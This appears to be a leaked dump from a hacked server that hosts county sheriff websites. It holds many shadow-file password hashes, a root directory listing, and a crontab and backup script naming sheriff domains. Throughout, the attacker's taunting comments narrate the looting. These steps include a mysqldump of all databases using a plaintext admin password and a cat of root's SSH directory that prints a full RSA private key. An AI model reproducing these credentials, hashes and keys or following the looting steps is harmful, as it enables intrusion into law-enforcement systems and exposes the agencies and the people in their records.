  1348. ccsal:$1$vhubLzwF$Evrqm.AX4vusW3SqmZA3B0:14600:0:99999:7:::
  1349. tunms:$1$annTeiUZ$twvp7SQzRRNJNEIvxS3Cx/:14600:0:99999:7:::
  1350. ccsd:$1$Lzz71cOH$Djo2V4u/SL9JKqrkvK0/41:14600:0:99999:7:::
  1351. ciwy:$1$DrcaNoRu$pj27lg4ogzIM/1T3xXCpF/:14600:0:99999:7:::
  1352. ncsd:$1$KRjV7G3q$sdkmFwpIp7p9FF1f4hhn90:14600:0:99999:7:::
  1353. icsd:$1$Jg/IPNZ3$173b6vFq9AlwznflpUbzp/:14600:0:99999:7:::
  1354. shsd:$1$4JEzAXVt$KG42rhcwE0livRJ00Awgb/:14600:0:99999:7:::
  1355. polms:$1$QEqTUIBr$L1VWAWaGnhYGsRu0FDrr6/:14600:0:99999:7:::
  1356. grcg:$1$yoyTc6DI$X8v6sg7ExdoUg0bNi8kmU/:14600:0:99999:7:::
  1357. lawmo:$1$0uQIYYqK$y0TIsAA9Miv4Vfn5o7KhR.:14600:0:99999:7:::
  1358. johms:$1$ljRMripB$/v33v9izoRJKITBK04ZgV.:14600:0:99999:7:::
  1359. sacsd:$1$6vTTH5h.$mu0.aSPxOJnNfw0Y1Yhy81:14600:0:99999:7:::
  1360. jcsd:$1$SR7NPa.y$bXGwoje29eCLh/jeptX7m.:14600:0:99999:7:::
  1361. gcsd:$1$ai7yamMR$JZPQccHWCGmMDeQFJ56eg0:14600:0:99999:7:::
  1362. izcg:$1$PpoAe8un$Tmmp4XEdNWUlJPSJv80Xj0:14600:0:99999:7:::
  1363. jocsd:$1$NRHv77bV$LA2Xex9kNa46frC/0ArlW1:14600:0:99999:7:::
  1364. scsd:$1$xKBlDTZE$.mpjBbZ0yHHsNcFCmu7pT0:14600:0:99999:7:::
  1365. bjm2:$1$IyEce8if$BFsLo9r.7HgTftQhJHGPh/:14600:0:99999:7:::
  1366. test:$1$/SMm0ODb$EX2C/eZ7Lo3BPfzIlZfBF0:14601:0:99999:7:::
  1367. bcsd_sync:$1$6WexrYqZ$3ROvk9LXiGIAjx/yMFgGc.:14601:0:99999:7:::
  1368. ccsal_synce:!!:14601:0:99999:7:::
  1369. ccsal_sync:$1$1R4G9HKN$0nsQSMPnDwPI8QwcOoB4x0:14601:0:99999:7:::
  1370. kluser:!!:14602:0:99999:7:::
  1371. tigeraccessftp:$1$vIx5yzLJ$QLvytS5blodUB69dx4Ff81:14607:0:99999:7:::
  1372. vbcsd:$1$Xa7IjTjy$EVOg0CDGrhKecE9tcEv0K1:14614:0:99999:7:::
  1373. jonms2:$1$UEKyybmq$V.KCuSAArIbZ97Rb3j.Gj.:14624:0:99999:7:::
  1374. ccsoks:$1$5Um4tVSe$nmmR1DwLGB1rVtilMJUnW.:14629:0:99999:7:::
  1375. crcg:$1$5W78GNCt$5AsiPm0MkUOaxLy7PZUbC.:14637:0:99999:7:::
  1376. tcsoms:$1$AUtRv.T/$8PAgYTEZNTkHAg29MuxxA.:14644:0:99999:7:::
  1377. hcsoks:$1$QNKj.3g8$a5XwX/ucCpz25QC.a7Yyr1:14650:0:99999:7:::
  1378. jcsoks:$1$rLe4qHgu$YVf.K6kRj5bzWE/bYYG2x/:14656:0:99999:7:::
  1379. mosa:$1$dIsYss8M$8wcFZe8f9xyrQg/M5fw2q.:14662:0:99999:7:::
  1380. pcsoks:$1$aOO/b7/y$fksYEq1P0ydvkBDACy7PN1:14678:0:99999:7:::
  1381. johms_sync:$1$JJOQW/Ub$KQcLsIuntNhvuT.IgHfr51:15140:0:99999:7:::
  1382. hcsar:$1$HRrStn03$JID8.6JAq3uO9Ea89sGWy/:14691:0:99999:7:::
  1383. hscar:$1$eT4u9sV5$1yfafNGVFeJLzHKIDnTPB.:14691:0:99999:7:::
  1384. pcsoia:$1$iA.cOgM7$bKcN9Md8bgaqgDOeWMLTk1:14692:0:99999:7:::
  1385. mcsd:$1$w8xq8Wiz$9h9Vmun9mouExbFw5TP9./:14701:0:99999:7:::
  1386. wsoks:$1$RA/aiiIn$vWff63MvT9OM6m/I9g/wI1:14718:0:99999:7:::
  1387. mosa2010bN:!!:14719:0:99999:7:::
  1388. mosa2010:$1$rkKGNbTJ$zuSXZpGmBGZmBLblIR..M0:14720:0:99999:7:::
  1389. faoret:$1$6FeVAWdI$5tdP6hddCUejnapF8SpSr.:14725:0:99999:7:::
  1390. bcso_tiger:$1$LY1S8HSQ$nmrLU.ZovFp/3SyDPqh/G.:14727:0:99999:7:::
  1391. stcsd:$1$pDRSTxFh$ZBvOBAFQ7LnFMjUdsa16g.:14728:0:99999:7:::
  1392. ccsoms:$1$2AcdfJU9$S7c4H4a0ySzzHVv1Xp8vT0:14736:0:99999:7:::
  1393. kcsoms:$1$9/UGCy/Q$v0YU2N4s6fJA1WRrnO4/y1:14743:0:99999:7:::
  1394. pcsoks_sync:$1$ZVgfXBYP$8/7JU659Rzy6AFMTsgUDk1:14753:0:99999:7:::
  1395. mocsd:$1$ruYfFxnn$THY1iwfnln5fIWJEZ.xuI1:14754:0:99999:7:::
  1396. postfix:!!:14768::::::
  1397. bcsoga:$1$um3cyDMU$iyb6m61oqCGNxsBoFTLP2/:14770:0:99999:7:::
  1398. jonms_sync:$1$ox9q2AUv$Z.PKJVfV6wBqkdE27vbNw/:14771:0:99999:7:::
  1399. jcsoks_sync:$1$XkeeIlA/$6H68JaLVbeKNw7YGOOkX31:14790:0:99999:7:::
  1400. cpsola:$1$NwWGtomq$jgAUVRm6VBvGSujRtKwF31:14806:0:99999:7:::
  1401. cgsomo:$1$eilIGZWl$eLznlmIdX3xApkdWmpsnT.:14810:0:99999:7:::
  1402. sfsoar:$1$yOE1lcCf$GUu9M1fczt1Ghc764zw/30:14824:0:99999:7:::
  1403. sfsoar_sync:$1$nxHb55iY$vFvZhr1ruVHu/4U981Jk2.:14826:0:99999:7:::
  1404. code:$1$iqeHXuMI$4vRAcEszoYdstIN3RMgx60:14837:0:99999:7:::
  1405. fcsoga:$1$T2d2gmYb$FFMQvYx7VRTFEtMtYzENj1:14841:0:99999:7:::
  1406. mcsoga:$1$sU6wEv93$dY7TnQIfrf7CNtxrb1BHv0:14852:0:99999:7:::
  1407. code2:$1$j9vWcrHj$ackLsXxNqZYDlHGs9EfTJ/:14853:0:99999:7:::
  1408. kcsoil:$1$RktuLOY5$rqG9aojQ7QPev715Sziym0:14855:0:99999:7:::
  1409. mcsoal:$1$DfHeInc2$tl5Z3EJ5cbpEI7PAi..nR.:14874:0:99999:7:::
  1410. sgsomo:$1$ofmWWjSo$VdSaYP7i5Mq3TaigZKJmY/:14879:0:99999:7:::
  1411. gcsoms:$1$GwuFixxs$ar2pJ.ZaG9F/zahcjl0JP0:14879:0:99999:7:::
  1412. stoms:$1$VRmMMzI7$x1nr.ZMBdSv7VOng/TpX//:14897:0:99999:7:::
  1413. hcsar_sync:$1$k8HSpdqc$5G8/PJOdzeQN8W2VKJj461:14901:0:99999:7:::
  1414. alsa:$1$0D1HLRSq$6mKb1LEmHoM/q2HhpXSjq/:14902:0:99999:7:::
  1415. pcsoar:$1$HxfuMiMY$bAapp8diWD1nSOjkTEqNx/:14917:0:99999:7:::
  1416. rcsd:$1$9poK4hQN$gzorj3zcz7dpG21M45ai5.:14921:0:99999:7:::
  1417. tisoms:$1$wXhmWMjs$EARUykep59RVk3KBNLIay/:14924:0:99999:7:::
  1418. stoms_sync:$1$TEYhWb2S$dYeYk0rb/sqikIaqqovuR/:14945:0:99999:7:::
  1419. prsoar:$1$ZIuKGFWZ$b9QSyf2DPsYbBm/pNe.WP1:14952:0:99999:7:::
  1420. mcsd_sync:$1$b1gA3kVg$Rg3yF/yRG.A/YEM4idaXW1:15001:0:99999:7:::
  1421. jccgms:$1$52kEGL60$J3C2CN/1fq4b.nD1EaNHP1:15009:0:99999:7:::
  1422. ccsook:$1$amm2tffa$XaIWUbOY47Dr02lvTWEFf/:15056:0:99999:7:::
  1423. fcsoar:$1$W74MwMzz$QuYSprTouxtkRx/wKgIJL1:15057:0:99999:7:::
  1424. poalac:$1$q.RuXO6m$C/hJSOR8TUzP5iZvmh3vc1:15085:0:99999:7:::
  1425. arsa:$1$dY5DsE1V$aGJWYgu9pj.kO0gQ14zpd0:15097:0:99999:7:::
  1426. rcpica:$1$CXfW/jiM$PrVYk8La/RySYfT0FeMRI/:15100:0:99999:7:::
  1427. ciga:$1$QTWBjVx9$zs4DkuPeQ7IuyaFtXby3B.:15113:0:99999:7:::
  1428. sfcgar:$1$GqNHP49J$0idVp0wiWtAcd848aWI5O/:15131:0:99999:7:::
  1429. lcsomo:$1$ptPfDVG3$nvwb9D.toLPBP1NsCRbNs1:15132:0:99999:7:::
  1430. tcsoal:$1$0oUtGUJd$dAyePg9xnfh2dNDHRr/s80:15134:0:99999:7:::
  1431. jwiegand:$1$F.H2Vzt/$BzID0ITAA2LtVZ99e5anu.:15135:0:99999:7:::
  1432. bcsf:$1$pznU6Acd$jDjShBfJXAE3YUdsF7W140:15135:0:99999:7:::
  1433. prsoms:$1$NpevRywM$.lnU4tjwBZNx5DyzQ5e8e0:15135:0:99999:7:::
  1434. acsoms:$1$rRiyYAkw$a9FJbLJJZgcWYgdUX5m/B.:15147:0:99999:7:::
  1435. kssa:$1$QJmmY.q8$GKzc4XMppwpKPbPVkI/1H1:15149:0:99999:7:::
  1436.  
  1437. // YOU KNOW WHAT IT IS, ITS A STICKUP
  1438.  
  1439. # ls -al ~root
  1440. total 420776
  1441. drwxr-x--- 17 root    root         4096 Jul 22 11:37 .
  1442. drwxr-xr-x 26 root    root         4096 Feb 22 22:21 ..
  1443. drwxr-xr-x  2 root    root         4096 Nov 30  2010 .autoinstaller
  1444. -rw-------  1 root    root        19127 Jul 21 15:58 .bash_history
  1445. -rw-r--r--  1 root    root           24 Jan  6  2007 .bash_logout
  1446. -rw-r--r--  1 root    root          191 Jan  6  2007 .bash_profile
  1447. -rw-r--r--  1 root    root          176 Jan  6  2007 .bashrc
  1448. -rw-r--r--  1 root    root          121 Sep  2  2010 .cshrc
  1449. -rw-r--r--  1 root    root            9 Feb 10 10:28 .exrc
  1450. -rw-------  1 root    root          686 Jul 20 13:03 .lesshst
  1451. -rw-------  1 root    root         1739 Jul 20 10:29 .mysql_history
  1452. -rw-r--r--  1 root    root           91 Dec 23  2009 .pearrc
  1453. -rw-------  1 root    root         1024 May  3 09:00 .rnd
  1454. drwx------  2 root    root         4096 Mar 12  2010 .spamassassin
  1455. drwx------  2 root    root         4096 Jan 25 13:27 .ssh
  1456. -rw-------  1 root    root          276 Jul 20 10:44 .support_history
  1457. -rw-r--r--  1 root    root          150 Sep  2  2010 .tcshrc
  1458. -rw-r--r--  1 root    root      1143587 Jul 22 11:50 BOCS_warrant_query.sql
  1459. -rw-r--r--  1 root    root       187976 Jul 22 11:45 CRCSD_warrant_query.sql
  1460. -rw-r--r--  1 root    root         3543 Feb 23 09:42 Chicago
  1461. drwxrwxrwx 17      20 games        4096 Dec 30  2009 ImageMagick-6.4.8-3
  1462. -rw-r--r--  1 root    root     11148165 Apr  9  2009 ImageMagick-6.4.8-3.tar.gz
  1463. drwxr-xr-x  2 root    root         4096 Jul 14 15:15 MASS_PASS
  1464. -rw-r--r--  1 root    root        94158 Dec 13  2010 MCSOAL.search
  1465. -rw-r--r--  1 root    root      1501473 Jul 22 11:48 SFSOAR_warrant_query.sql
  1466. -rw-------  1 root    root          742 Feb  4  2008 anaconda-ks.cfg
  1467. drwxr-xr-x  2 root    root         4096 Jun 21 15:31 bin
  1468. drwxr-xr-x  2 root    root         4096 May  3 09:53 cert
  1469. -rw-r--r--  1 root    root         1898 May  3 09:09 csr.txt
  1470. drwxr-xr-x  3 root    root         4096 Sep 20  2010 downloads
  1471. -rw-r--r--  1 bocg    psacln          0 Jun 21 14:23 huh
  1472. -rw-r--r--  1 root    root         1177 Mar 24 08:50 injection_patch.php
  1473. -rw-r--r--  1 root    root         1182 Mar 24 08:50 injection_patch.php.bak
  1474. -rw-r--r--  1 root    root        13552 Feb  4  2008 install.log
  1475. -rw-r--r--  1 root    root         2540 Feb  4  2008 install.log.syslog
  1476. -rwxrwxrwx  1 mosa    psacln        803 Mar 24  2010 log.php
  1477. -rw-------  1 root    root         1733 Nov 30  2010 mbox
  1478. -rw-r--r--  1 root    root           93 Aug 23  2010 md5look.php
  1479. -rw-r--r--  1 root    root     36773929 Jul 21 22:04 mysql_backup.sql.gz
  1480. -rw-r--r--  1 root    root    133498898 Jul  1 08:17
  1481. mysql_dump_20110701-081158.sql.gz
  1482. -rw-r--r--  1 root    root    144511936 Jul  8 10:59
  1483. mysql_dump_20110708-104506.sql.gz
  1484. -rw-r--r--  1 root    root     37564532 Jul 15 06:04
  1485. mysql_dump_20110715-060000.sql.gz
  1486. -rw-r--r--  1 root    root     38461089 Jul 22 11:18
  1487. mysql_dump_20110722-111716.sql.gz
  1488. drwxr-xr-x  2 root    root         4096 Jun 20 09:46 p7zip
  1489. -rwxrwxrwx  1 mosa    psacln        475 Mar 24  2010 parse_geocodes.php
  1490. -rw-r--r--  1 root    root         7164 Jul  5 14:20 perms.log
  1491. drwxr-xr-x 14    1002    1002      4096 Aug 23  2006 php-5.1.6
  1492. -rw-r--r--  1 root    root      8187896 Aug 23  2006 php-5.1.6.tar.gz
  1493. -rw-r--r--  1 root    root           21 Apr 22 10:16 phpinfo.php
  1494. drwxr-xr-x  9 root    root         4096 Jul 21 16:24 psa
  1495. drwxrwxr-x  2     510     510      4096 Jun  3  2010 qmhandle-1.3.2
  1496. -rw-r--r--  1 webdept webdept     15423 Apr 12  2010 qmhandle-1.3.2.tar.gz
  1497. -rw-r--r--  1 root    root         4293 Jun 21 17:48 recaptcha.log
  1498. -rw-r--r--  1 root    root         9751 Jun 21 16:04 recaptchalib.php
  1499. -rw-r--r--  1 root    root         9751 Jun 21 16:04 recaptchalib.php.bak
  1500. -rw-r--r--  1 root    root         9747 Jun 21 15:56 recaptchalib.php.bak.bak
  1501. drwxr-xr-x  3 root    root         4096 Dec 21  2009 rootkit_checks
  1502. drwxr-xr-x  2 root    root         4096 Jul 20 11:01 scripts
  1503. -rw-r--r--  1 root    root           32 Jun 21 14:54 sete.sh
  1504. -rw-r--r--  1 root    root       355812 Jun 21 14:22 tat E
  1505. drwxr-xr-x  6 root    root         4096 Jun 21 15:38 tiny_mce
  1506. -rw-r--r--  1 root    root         2231 Jun 21 11:02 tiny_mce.php
  1507. -rw-r--r--  1 root    root         8957 Jun 21 14:50 tinymce.log
  1508. -rw-r--r--  1 root    root         6101 Jun 21 15:10 tinymce_php.log
  1509. -rw-r--r--  1 root    root      1141875 Jun 29 18:20 warrant_query.sql
  1510. -rw-r--r--  1 root    root     15503360 Jul 22 01:32 z
  1511.  
  1512. // FIRST LETS LOOT THIS MOFO
  1513.  
  1514. # mysqldump -q -u admin -p8w667nHzx%XFXb --all-databases --add-drop-table >
  1515. booty.sql
  1516.  
  1517. // GIMME THE KEYS TO YO HOUSE
  1518.  
  1519. # cat ~root/.ssh/*
  1520. ssh-rsa
  1521. AAAAB3NzaC1yc2EAAAABIwAAAQEA68pUVD3lTeQE5yDAWFOprdg05lmD0eaRznMwDgrAiZhhTEH/
  1522. D0crQDXJN5avBKIf1WdKBIi/AL7jlw4++CAdidYt1ZQ4VEQy3NVyVHqXmI/
  1523. FtE2sCjUlE8ID2u5Mm5X8Xf57ifkXlrSF6HgLwa8P4KxP3HqrZNgb93hRwP/
  1524. VPLkNA7Ef6pkjCMpcOtE0qYynDLswAQhW9abqhiCeWaHHPPTRwjlk0r/vHPwBns777pj5UgU3RkUG9/
  1525. 1X70tKdZJR5Mp961WDGy3sC7Qi0hiM/
  1526. A3tRdo2NKpiZje0oRX3x8WH69vO9ZITeYcxcfu0o9AwiIVHzxJ/DmzFGbRtZ3W/Hw==
  1527. root@ip-72-167-49-108.ip.secureserver.net
  1528. ssh-dss
  1529. AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
  1530. MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
  1531. dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
  1532. hJgPJWi8XjSj7AAAAFQD9MwyYL/
  1533. DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
  1534. iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
  1535. AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
  1536. 7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
  1537. njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
  1538. ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 root@ip-72-167-49-122.ip.secureserver.net
  1539. -----BEGIN RSA PRIVATE KEY-----
  1540. MIIEowIBAAKCAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/eRBcO8CrAtYk8akXpG7
  1541. ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+GeA5bFnOpf1ZD7
  1542. gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/PCxo4tUuxeaOBJaWd
  1543. 2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+xB5QCsk84cFchImi8oZyPwK
  1544. 6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+6yLxhxSeHUy
  1545. MGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQIBIwKCAQEAn4NLO0U232hCERCr
  1546. Wn8z1TeqNkTTG4Kcn2bzld2D6Cg/DIdgps15Lx6IyhZMAjI+yAmG0F/stlFDVBtx
  1547. FdOM3aBr7vsUMxyE81SKPXzs4Rn3olOOkRQ8qwTuDijP87gZZhV89Mm7vPFCXNQV
  1548. OR5o2XowoIPNHSY91f/IljdnKkQ05862XywXDqKA4ZURgs2WhCSCGU+bMQ/HcrXx
  1549. whUi5tWgAH9JTd8cVHbTFNHS9nyf3rsqoKsPjUJZot+RpvBzUk75VsKxEm/NpPUz
  1550. foMVR/H0vHl1Y5rv6P0fLzBPUBPBSqM94ELa3niBgsOJsdmzWGUnuZjoYX2Q5RCD
  1551. qa5NHwKBgQDscK4JiSdSh7egaKrFqpDECVR3PtE0gsluxT0am6UmrelZIlILmfFf
  1552. a3J3QHnGzSPuIJit1Px1su5Jt6qwc2R98DRmGgb2n8BHdNQTU1bpmD4K9iwMD8fx
  1553. 5bPNLcC69xKD9TSDS6FaHQRHdLnpwuho3m5mlbGISlVOCtU8/yTnUwKBgQDQcQ/B
  1554. CuHlfB86NIwTTIvTjYUBotk0NqMgHHyLeoZ+mz4kZWKZl7Dp9gC7lA3ljFZh4jIG
  1555. VD8hlmLflVSjY7EFDEjB7GQ3wsEMGXqVVd/jsE4TNnizehxhUh/0pp/bBHZg0OWZ
  1556. Lmak2rJxvt7uI5Bs9g+huy+Q3zi8oz3NW2HJxwKBgQDYLIHc1StEJFAdoYYxEPli
  1557. xrOgOW7Q7Jro7tjH3sLhiQ/cdyZxAca9pBDiDxBAu46QktS8MHHKsjjy8REWWt+J
  1558. FiFHaEDhfB2DKPxpcMR9zQWGXWoZqAdDkC9cgZpEih+Olwtwui0fMHjw37/rquMe
  1559. DTG84KJQuP2JLnnRXk2gSwKBgQDEh9unYggwJJJ4tTOdKuo8fh5R//FdHZJ9XK/x
  1560. OQJ3Xyv2bjhk7hvVRwgBURRqt4Slbt61gqHsd9mQ+oMAc/AMEuWDpF59t6ASuO/r
  1561. 40DPXRZp4ubVG1yWRh4hL2OFW/qVzEYxV6Kbbx1GrKZOPsoAVbb3kzt59wmb6l7X
  1562. kKyoTQKBgEtKR9eP5drKiFtGbanMoe4R01yeoda8GcbHenuW8f4+SIzXS0BRYDMG
  1563. JccKz/XyIk+uxGS+qRDWUS3KFWz8/PUEpLOAEuCv45GpyUVb6XS7O6dn6uVRwEUr
  1564. UYo6Q+HxQ0ZvBOxtG/usuR0ykiV60GuTxjxVXE6urOWSaypWOaUc
  1565. -----END RSA PRIVATE KEY-----
  1566. ssh-rsa
  1567. AAAAB3NzaC1yc2EAAAABIwAAAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/
  1568. eRBcO8CrAtYk8akXpG7ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+
  1569. GeA5bFnOpf1ZD7gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/
  1570. PCxo4tUuxeaOBJaWd2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+
  1571. xB5QCsk84cFchImi8oZyPwK6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+
  1572. 6yLxhxSeHUyMGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQ==
  1573. root@ip-97-74-115-143.ip.secureserver.net
  1574. 72.167.49.114 ssh-rsa
  1575. AAAAB3NzaC1yc2EAAAABIwAAAQEAnNcO5j+
  1576. xTWrszbZLZ7pdvvqTumaACzgJNW773NBt8laQEq0HUDfdt3tg5LpaIWQTOBD45jjkyiM2QNJq9CliNfJ
  1577. BnOajtUI90IN2M3xK78ihiHAsp4jdX6kKcpyQrffQ5i8fDllfQmcD/
  1578. 7gndTzo273l8BmhQnvIxOTZwGcQPCnylQ7mxmV/KmRUF5uvo2dAkxSZnmOyDEMZLAAcic/+
  1579. 98cBbxpXu4154ZLG8pXAJ3ASzm7oC4KsC0T2eFt6Um3/BVNMydFc9KiVbyBy4mUda8/
  1580. icvq90TYue3wXWIGwhIPMafSHst6SVAo1m9KLsCA3y1FbHEwK6YzUVi0ZtNmfRw==
  1581. 72.167.49.108 ssh-rsa
  1582. AAAAB3NzaC1yc2EAAAABIwAAAQEA6QYFzjOfwhDhJbKf7tN3CcP2VN5euOPRtuDEtuo8Hm4loFsKsVu/
  1583. Z4AAObT4nhksaowpND8vzfGikitgZibICYLlMcx8JjHFKaaqmbVYocVdm8HpHmYAvII3BJkIZJ9hT7IR
  1584. hp1bc4z/KeUgDVquCR4ak4f4hL9eY0w8Cxc3oM/jYw/bFg+nIBs0dctch3Pw/
  1585. 4pREyBPO8p2BReWI7WlcA1i4NdzhoevE+
  1586. 2qsvMzVWp7HGCIGOQDKgbBL65m2bJrDOZELrvDcBcdrogIpqLO6kSXOnjjVKdcT7zpQuFPR+7wj6t/
  1587. fyMcYPx80XmaDzKbGbNpHSPVsKTJsHqh+NRnqQ==
  1588. ssh-dss
  1589. AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
  1590. MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
  1591. dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
  1592. hJgPJWi8XjSj7AAAAFQD9MwyYL/
  1593. DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
  1594. iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
  1595. AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
  1596. 7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
  1597. njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
  1598. ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 root@ip-72-167-49-122.ip.secureserver.net
  1599.  
  1600.  
  1601. // NOW LETS SEE WHAT YOU WORKING WITH
  1602.  
  1603. # cat ~root/scripts/*
  1604.  
  1605. #!/bin/sh
  1606. datex=$(date +'%Y%m%d-%H%M%S')
  1607. file=mysql_dump_$datex.sql.gz
  1608. echo Backup is $file
  1609. PASSWORD=`cat /etc/psa/.psa.shadow`
  1610.  
  1611.  mysqldump -q -u admin -p$PASSWORD --all-databases --add-drop-table | gzip >
  1612. ~/$file
  1613. 0,15,30,45      *       *       *       *       /usr/local/psa/admin/sbin/backupmng >/dev/null
  1614. 2>&1
  1615. 0       1       *       *       1       /usr/local/psa/libexec/modules/watchdog/cp/secur-check
  1616. 0       1       *       *       1       /usr/local/psa/libexec/modules/watchdog/cp/send-report
  1617. weekly
  1618. 10      1       *       *       *       /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1619. sysstats
  1620. 15      1       *       *       *       /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1621. sysstats day
  1622. 15      1       *       *       1       /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1623. sysstats week
  1624. 15      1       1       *       *       /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1625. sysstats month
  1626. 15      1       1       *       *       /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1627. sysstats year
  1628. 20      1       *       *       *       /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1629. events
  1630. 0       3       *       *       7       /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1631. reports
  1632. 0       22      *       *       *       /root/scripts/mySQLbackup.sh | mail -s
  1633. "mySQL Backup" test@mostwantedwebsites.net
  1634. 50      23      *       *       *       /usr/bin/rsnapshot daily
  1635. 40      23      *       *       6       /usr/bin/rsnapshot weekly
  1636. 0       1       *       *       *       /usr/bin/php
  1637. /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin_dymin/modules/most_wanted
  1638. /config/delete_cron.php
  1639. */5     *       *       *       *       /usr/bin/php
  1640. /var/www/vhosts/baxtercountysheriff.com/home/parse_xml.php >/dev/null 2>&1
  1641. */5     *       *       *       *       /usr/bin/php
  1642. /var/www/vhosts/lawrencecosheriff.com/home/parser.php >/dev/null 2>&1
  1643. #*/5    *       *       *       *       /usr/bin/php
  1644. /var/www/vhosts/mostwantedwebsites.net/subdomains/lawmo/httpdocs/home/parser.php
  1645. >/dev/null 2>&1
  1646. */5     *       *       *       *       /usr/bin/php
  1647. /var/www/vhosts/cherokeecountyalsheriff.com/home/parser.php >/dev/null 2>&1
  1648. */5     *       *       *       *       /usr/bin/php
  1649. /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  1650. /backup/johms_parse_log.txt
  1651. */5     *       *       *       *       /usr/bin/php
  1652. /var/www/vhosts/stonecountymosheriff.com/home/parse_roster.php >>
  1653. /backup/stoms_parse_log.txt 2>&1
  1654. */5     *       *       *       *       /usr/bin/php
  1655. /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/parse_pcv.php
  1656. >/dev/null 2>&1
  1657. */5     *       *       *       *       /usr/bin/php
  1658. /var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
  1659. */16    *       *       *       *       /usr/bin/php
  1660. /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/warrant_parser.php
  1661. >/dev/null 2>&1
  1662. */15    *       *       *       *       /usr/bin/php
  1663. /var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null 2>&1
  1664. */15    *       *       *       *       /usr/bin/php
  1665. /var/www/vhosts/tunicamssheriff.com/httpdocs/RPC/test.php >/dev/null 2>&1
  1666. */10    *       *       *       *       /usr/bin/php
  1667. /var/www/vhosts/jonesso.com/home/parse.php >> /backup/JONMS_INMATE_ROSTER.log
  1668. 2>&1
  1669. */15    *       *       *       *       /usr/bin/php
  1670. /var/www/vhosts/prattcountysheriff.com/home/parse_roster.php >/dev/null 2>&1
  1671. */15    *       *       *       *       /usr/bin/php
  1672. /var/www/vhosts/prattcountysheriff.com/home/parse_warrants.php >/dev/null 2>&1
  1673. */15    *       *       *       *       /usr/bin/php
  1674. /var/www/vhosts/jeffersoncountykssheriff.com/home/parse_roster.php >>
  1675. /backup/jcsoks_inamte_parse_log.txt
  1676. */5     *       *       *       *       /usr/bin/php
  1677. /var/www/vhosts/stfranciscountysheriff.org/home/parse_pcv.php >/dev/null 2>&1
  1678. */5     *       *       *       *       /usr/bin/php
  1679. /var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php >/dev/null 2>&1
  1680. 0       6       *       *       *       /usr/bin/php
  1681. /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin/publish_roster.php
  1682. >/dev/null 2>&1
  1683. 5       6       *       *       *       /usr/bin/php
  1684. /var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/inmate_roster/
  1685. publish.php >/dev/null 2>&1
  1686. 10      6       *       *       *       /usr/bin/php
  1687. /var/www/vhosts/cherokeecountyalsheriff.com/httpdocs/admin/modules/inmate_roster
  1688. /publish.php >/dev/null 2>&1
  1689. 15      6       *       *       *       /usr/bin/php
  1690. /var/www/vhosts/lawrencecosheriff.com/httpdocs/admin/modules/inmate_roster/
  1691. publish.php >/dev/null 2>&1
  1692. 20      6       *       *       *       /usr/bin/php
  1693. /var/www/vhosts/tunicamssheriff.com/httpdocs/admin/modules/inmate_roster/publish
  1694. .php >/dev/null 2>&1
  1695. 30      6       *       *       *       /usr/bin/php
